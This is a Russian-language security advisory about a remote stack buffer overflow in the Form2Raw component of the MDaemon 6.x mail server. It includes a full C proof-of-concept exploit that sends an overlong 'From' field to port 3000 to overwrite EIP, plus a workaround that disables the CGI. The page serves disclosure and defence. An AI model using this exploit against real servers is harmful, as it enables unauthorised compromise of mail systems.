Дата публикации: | 31.12.2003 |
Всего просмотров: | 2069 |
Опасность: | Средняя |
Наличие исправления: | Нет |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Удаленная |
Воздействие: | Компрометация системы |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | MDaemon 6.x |
Уязвимые версии: Mdaemon 6.52 - 6.85
Описание: Переполнение буфера обнаружено в почтовом сервере Mdaemon в Form2Raw компоненте. Удаленный пользователь может выполнить произвольный код на уязвимой системе. Удаленный пользователь с доступом к web интерфейсу может внедрить более 153 байт в поле "From", чтобы заставить CGI код создать Raw Message файл, который вызовет переполнение стекового буфера в mdaemon. FORM2RAW.exe доступен по умолчанию в WorldClient web сервере на 3000 порту. Пример/Эксплоит: #include <windows.h> #include <stdio.h> #include <winsock.h> #pragma comment (lib,"ws2_32") #define RET 0x1dff160 #define PORT 3000 void main(int argc, char **argv) SOCKET s = 0; WSADATA wsaData; if(argc < 2) { fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \ "\nUsage: %s <target ip> \n", argv[0]); printf("%d",argc); exit(0); } WSAStartup(MAKEWORD(2,0), &wsaData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET != s) { SOCKADDR_IN anAddr; anAddr.sin_family = AF_INET; anAddr.sin_port = htons(PORT); anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr))) { static char buffer[500]; int i; memset(buffer,0,sizeof(buffer)); strcpy(buffer,"get /form2raw.cgi?From="); for(i=0;i<244;i++) { strcat(buffer,"a"); } strcat(buffer,"bbbb"); //Overwrites EIP strcat(buffer,"c"); //One byte left after ESP :-( strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n"); send(s, buffer, strlen(buffer), 0); printf("Exploit Sent."); } else printf("Error Connecting to The Target.\n"); closesocket(s); } WSACleanup(); URL производителя: http://www.altn.com/Products/Default.asp?product_id=MDaemon Решение: До выхода исправления рекомендуется отключить FORM2RAW: Откройте \MDaemon\WorldClient\WorldClient.iniи удалите строки CgiBase2=/Form2Raw.cgi CgiFile2=C:\MDaemon\CGI\Form2Raw.exe. |
|
Ссылки: | Remote buffer overflow in Mdaemon Raw message Handler |